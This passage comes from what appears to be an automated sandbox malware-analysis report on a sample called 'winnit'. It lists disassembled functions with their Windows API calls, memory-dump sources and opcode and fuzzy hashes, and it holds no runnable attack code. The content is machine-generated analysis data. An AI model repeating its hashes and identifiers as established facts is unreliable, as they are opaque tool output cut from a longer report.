                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Message$PeekTranslate$AcceleratorDispatch
                                          • String ID:
                                          • API String ID: 2108273632-0
                                          • Opcode ID: f5a12e3ab491bae361ebc0de71871b08d4e56a0ef8d468956f0d018813c56a78
                                          • Instruction ID: 06f4b8e7b736c2febb05136e29480fd7a67569be8d7665d823c340f789ed2fdd
                                          • Opcode Fuzzy Hash: f5a12e3ab491bae361ebc0de71871b08d4e56a0ef8d468956f0d018813c56a78
                                          • Instruction Fuzzy Hash: 4D31C571900646AFDB24CF74DC84BFA7FECEB01310F1401A5E425C32E1EB6598A9D7A1
                                          Function 00B08A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetWindowRect.USER32(?,?), ref: 00B08A30
                                          • PostMessageW.USER32(?,00000201,00000001), ref: 00B08ADA
                                          • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00B08AE2
                                          • PostMessageW.USER32(?,00000202,00000000), ref: 00B08AF0
                                          • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00B08AF8
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessagePostSleep$RectWindow
                                          • String ID:
                                          • API String ID: 3382505437-0
                                          • Opcode ID: 597b28c1c019a666151a4665ab1ddfc0c61240783f71103e245554d3df138a23
                                          • Instruction ID: a41208a046bcef20549abb2a5b4fa77414f6ca9f3fadbac2f6cb06075cff6b8d
                                          • Opcode Fuzzy Hash: 597b28c1c019a666151a4665ab1ddfc0c61240783f71103e245554d3df138a23
                                          • Instruction Fuzzy Hash: 9B31C071A00219EFDF14CFA8D94DAAE3FB5EB04315F10826AF965E71D1CBB09A14DB90
                                          Function 00B0B1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • IsWindowVisible.USER32(?), ref: 00B0B204
                                          • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00B0B221
                                          • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00B0B259
                                          • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00B0B27F
                                          • _wcsstr.LIBCMT ref: 00B0B289
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                          • String ID:
                                          • API String ID: 3902887630-0
                                          • Opcode ID: 9c25440a9ebf447e90e72cfef13a89372a4175c404448afea00b28a0dd43ad7c
                                          • Instruction ID: 40e66054a3b9d87408a2707baf32fd22455a9822ac0eddb8b4695ba49164aec7
                                          • Opcode Fuzzy Hash: 9c25440a9ebf447e90e72cfef13a89372a4175c404448afea00b28a0dd43ad7c
                                          • Instruction Fuzzy Hash: 11210432604201BBEB259B799C49E7F7FE8DF49720F1081BAF805DA1A1EF61DC40D6A0
                                          Function 00B3B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB2612: GetWindowLongW.USER32(?,000000EB), ref: 00AB2623
                                          • GetWindowLongW.USER32(?,000000F0), ref: 00B3B192
                                          • SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00B3B1B7
                                          • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00B3B1CF
                                          • GetSystemMetrics.USER32(00000004), ref: 00B3B1F8
                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00B20E90,00000000), ref: 00B3B216
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$Long$MetricsSystem
                                          • String ID:
                                          • API String ID: 2294984445-0
                                          • Opcode ID: 0ae793922135c3d4a742c94e5a54c3b4363c04d0497ce80b649189e0289be12f
                                          • Instruction ID: e37c7e31175bbc70b6f20215656c7c929478ed27eba0194908bb8b4f4e3aa907
                                          • Opcode Fuzzy Hash: 0ae793922135c3d4a742c94e5a54c3b4363c04d0497ce80b649189e0289be12f
                                          • Instruction Fuzzy Hash: 1C218D71A20656AFCB209F389C54E6A3BE4EB05321F314768BA36D71E4EB3098508B90
                                          Function 00B09307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B09320
                                            • Part of subcall function 00AB7BCC: _memmove.LIBCMT ref: 00AB7C06
                                          • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00B09352
                                          • __itow.LIBCMT ref: 00B0936A
                                          • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00B09392
                                          • __itow.LIBCMT ref: 00B093A3
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$__itow$_memmove
                                          • String ID:
                                          • API String ID: 2983881199-0
                                          • Opcode ID: 74fa455fba115a25f85c923b2b3b6522689320a0ce072348e462d0a0e9b3ac5f
                                          • Instruction ID: 272864b2bdf08c9600bfd9c026c0abd6eb888a91a55cccab59bdc7232d5b014f
                                          • Opcode Fuzzy Hash: 74fa455fba115a25f85c923b2b3b6522689320a0ce072348e462d0a0e9b3ac5f
                                          • Instruction Fuzzy Hash: 8D21C531B01208ABDB109B649D86EEE7FEDEB89710F144069F905D72D2DAB09D418B95
                                          Function 00B25A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON
                                          Download Yara Rule
                                          APIs
                                          • IsWindow.USER32(00000000), ref: 00B25A6E
                                          • GetForegroundWindow.USER32 ref: 00B25A85
                                          • GetDC.USER32(00000000), ref: 00B25AC1
                                          • GetPixel.GDI32(00000000,?,00000003), ref: 00B25ACD
                                          • ReleaseDC.USER32(00000000,00000003), ref: 00B25B08
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$ForegroundPixelRelease
                                          • String ID:
                                          • API String ID: 4156661090-0
                                          • Opcode ID: 4b4d9c003aaffd5b12c50f81c2fcff85827df3597ac97af1ef15e5ff30d4df82
                                          • Instruction ID: 0569f00e6ff4ac96fa9f06c88b3503e781f71db0c5da2988f9292524ef6dbedf
                                          • Opcode Fuzzy Hash: 4b4d9c003aaffd5b12c50f81c2fcff85827df3597ac97af1ef15e5ff30d4df82
                                          • Instruction Fuzzy Hash: A6218135A00514AFD714EF65DD89AAEBBF9EF49310F1484B9F90997362CE30AD40CB90
                                          Function 00AB12F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                          Download Yara Rule
                                          APIs
                                          • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00AB134D
                                          • SelectObject.GDI32(?,00000000), ref: 00AB135C
                                          • BeginPath.GDI32(?), ref: 00AB1373
                                          • SelectObject.GDI32(?,00000000), ref: 00AB139C
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ObjectSelect$BeginCreatePath
                                          • String ID:
                                          • API String ID: 3225163088-0
                                          • Opcode ID: 9f2ca7a6b4220330adab0e297bfa0bf3645b7b365987bf0180c803e2edf8f9e4
                                          • Instruction ID: c7a489fe66e3f405818f53b5272c9e664771063a0f03ee530e7b209432fdfe46
                                          • Opcode Fuzzy Hash: 9f2ca7a6b4220330adab0e297bfa0bf3645b7b365987bf0180c803e2edf8f9e4
                                          • Instruction Fuzzy Hash: 6D215130C00609EBDB208F59DD447AD7BECFB00311F684226F4159B1B2EBB19991DF51
                                          Function 00B14A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentThreadId.KERNEL32 ref: 00B14ABA
                                          • __beginthreadex.LIBCMT ref: 00B14AD8
                                          • MessageBoxW.USER32(?,?,?,?), ref: 00B14AED
                                          • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00B14B03
                                          • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00B14B0A
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
                                          • String ID:
                                          • API String ID: 3824534824-0
                                          • Opcode ID: 9820969efc1ccc6b19a94caffa13d83d963d35f409369fef310724fe78d251a3
                                          • Instruction ID: 1a0d77437bd974e10b698215f6924973032d904c6892fa15344ec7c12f8eb9eb
                                          • Opcode Fuzzy Hash: 9820969efc1ccc6b19a94caffa13d83d963d35f409369fef310724fe78d251a3
                                          • Instruction Fuzzy Hash: 3711E976908605BBD7109BA8AC04ADF7BECEB45320F144269F818D3251DBB1894487A0
                                          Function 00B08202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B0821E
                                          • GetLastError.KERNEL32(?,00B07CE2,?,?,?), ref: 00B08228
                                          • GetProcessHeap.KERNEL32(00000008,?,?,00B07CE2,?,?,?), ref: 00B08237
                                          • HeapAlloc.KERNEL32(00000000,?,00B07CE2,?,?,?), ref: 00B0823E
                                          • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B08255
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                          • String ID:
                                          • API String ID: 842720411-0
                                          • Opcode ID: 9172af82c5a9fdff3f45cc3af44f403553663bf732097ab615d83a5b9d77ff82
                                          • Instruction ID: 22459ea7326d2c522e2b73f2d56bcee5b580beb03f288261c6ab168d033f6f76
                                          • Opcode Fuzzy Hash: 9172af82c5a9fdff3f45cc3af44f403553663bf732097ab615d83a5b9d77ff82
                                          • Instruction Fuzzy Hash: E5016D75A00605FFDB204FA6EC48D7B7FACEF8A754B600469F949C3260DE318D10DA60
                                          Function 00B0710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00B07044,80070057,?,?,?,00B07455), ref: 00B07127
                                          • ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00B07044,80070057,?,?), ref: 00B07142
                                          • lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00B07044,80070057,?,?), ref: 00B07150
                                          • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00B07044,80070057,?), ref: 00B07160
                                          • CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00B07044,80070057,?,?), ref: 00B0716C
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: From$Prog$FreeStringTasklstrcmpi
                                          • String ID:
                                          • API String ID: 3897988419-0
                                          • Opcode ID: 298380431895c0c80aef0b2c3edc9162bbc645ace47d5e4129ff13bc5df6ebab
                                          • Instruction ID: f7ad35c9b8e6eb7f9907f200801a8f6004abcf0e64e3ce8417939c78e608d06f
                                          • Opcode Fuzzy Hash: 298380431895c0c80aef0b2c3edc9162bbc645ace47d5e4129ff13bc5df6ebab
                                          • Instruction Fuzzy Hash: 77015A76A01205ABDB118F64EC44AAEBFFDEB44791F2440A5FD04E32A0DF31ED419BA0
                                          Function 00B15244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00B15260
                                          • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00B1526E
                                          • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00B15276
                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00B15280
                                          • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00B152BC
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: PerformanceQuery$CounterSleep$Frequency
                                          • String ID:
                                          • API String ID: 2833360925-0
                                          • Opcode ID: 8f3e4ca3a09b1f6739ead40b626ff953dc698fcbcfbf39775d3c552b5ca7ec49
                                          • Instruction ID: 19a5979f9d2ff589eaeb326951d253a14c70384db31dd48a313105a32ee08f23
                                          • Opcode Fuzzy Hash: 8f3e4ca3a09b1f6739ead40b626ff953dc698fcbcfbf39775d3c552b5ca7ec49
                                          • Instruction Fuzzy Hash: 1A011B32D01A1ADBCF10DFE4EC895EDBBB8FB49711F90019AE945B3140CF30599487A1
                                          Function 00B0810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00B08121
                                          • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00B0812B
                                          • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B0813A
                                          • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00B08141
                                          • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B08157
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: HeapInformationToken$AllocErrorLastProcess
                                          • String ID:
                                          • API String ID: 44706859-0
                                          • Opcode ID: f8271a87e0452cf3bfea73f48e6c043d48a0cb3102db16ec809be6893a8f0824
                                          • Instruction ID: 08e91bd7a0ae67c2fa20d05fc37cf88580f4235b424e435fda52543e98c8fd75
                                          • Opcode Fuzzy Hash: f8271a87e0452cf3bfea73f48e6c043d48a0cb3102db16ec809be6893a8f0824
                                          • Instruction Fuzzy Hash: DAF04F75640305BFEB110FA5EC88E7B3FACEF49754B100065F985D71A0CE619955DA60
                                          Function 00B0C1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetDlgItem.USER32(?,000003E9), ref: 00B0C1F7
                                          • GetWindowTextW.USER32(00000000,?,00000100), ref: 00B0C20E
                                          • MessageBeep.USER32(00000000), ref: 00B0C226
                                          • KillTimer.USER32(?,0000040A), ref: 00B0C242
                                          • EndDialog.USER32(?,00000001), ref: 00B0C25C
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: BeepDialogItemKillMessageTextTimerWindow
                                          • String ID:
                                          • API String ID: 3741023627-0
                                          • Opcode ID: 2fdca0c2cc382ee95111a15fa6c31e72658ffb6330d4c263f49a883ad65870fe
                                          • Instruction ID: 7c6cf1f36772c06ad61ca31c5be23b134ee07889322664b101e723f0c0ce0e85
                                          • Opcode Fuzzy Hash: 2fdca0c2cc382ee95111a15fa6c31e72658ffb6330d4c263f49a883ad65870fe
                                          • Instruction Fuzzy Hash: C5016730904705ABEB205B64DD4EBAA7FB8FB00705F1006A9A542914E1DBF46954DB50
                                          Function 00AB13B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                          Download Yara Rule
                                          APIs
                                          • EndPath.GDI32(?), ref: 00AB13BF
                                          • StrokeAndFillPath.GDI32(?,?,00AEB888,00000000,?), ref: 00AB13DB
                                          • SelectObject.GDI32(?,00000000), ref: 00AB13EE
                                          • DeleteObject.GDI32 ref: 00AB1401
                                          • StrokePath.GDI32(?), ref: 00AB141C
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Path$ObjectStroke$DeleteFillSelect
                                          • String ID:
                                          • API String ID: 2625713937-0
                                          • Opcode ID: dd5823382173a9ee61e751557e7d5b7fe6e95cca6eb422e325c6a9bfd852bb20
                                          • Instruction ID: 302da277d303949a66f722359c1d966617a84cb980ae570a26a5def04d1362b2
                                          • Opcode Fuzzy Hash: dd5823382173a9ee61e751557e7d5b7fe6e95cca6eb422e325c6a9bfd852bb20
                                          • Instruction Fuzzy Hash: 01F0CD31404A09DBDB255F5AED4C7A83FA9E701326F588225E42A4A0F2CB7145A5DF51
                                          Function 00B1C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CoInitialize.OLE32(00000000), ref: 00B1C432
                                          • CoCreateInstance.OLE32(00B42D6C,00000000,00000001,00B42BDC,?), ref: 00B1C44A
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                          • CoUninitialize.OLE32 ref: 00B1C6B7
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CreateInitializeInstanceUninitialize_memmove
                                          • String ID: .lnk
                                          • API String ID: 2683427295-24824748
                                          • Opcode ID: 4a537538cfddadc1189a7c9db7da1e9915239eca37506f5dca26c895e8d1b68d
                                          • Instruction ID: a51727d4d14b59ab65fc337ec77f0ad3f2c50ec3da311ba5c71289a55ffcb26c
                                          • Opcode Fuzzy Hash: 4a537538cfddadc1189a7c9db7da1e9915239eca37506f5dca26c895e8d1b68d
                                          • Instruction Fuzzy Hash: 10A14871608205AFD700EF64C881EAFB7ECEF99344F40496CF1558B1A2EB71EA49CB52
                                          Function 00AC2CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AD0DB6: std::exception::exception.LIBCMT ref: 00AD0DEC
                                            • Part of subcall function 00AD0DB6: __CxxThrowException@8.LIBCMT ref: 00AD0E01
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                            • Part of subcall function 00AB7A51: _memmove.LIBCMT ref: 00AB7AAB
                                          • __swprintf.LIBCMT ref: 00AC2ECD
                                          Strings
                                          • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00AC2D66
                                          Memory Dump Source
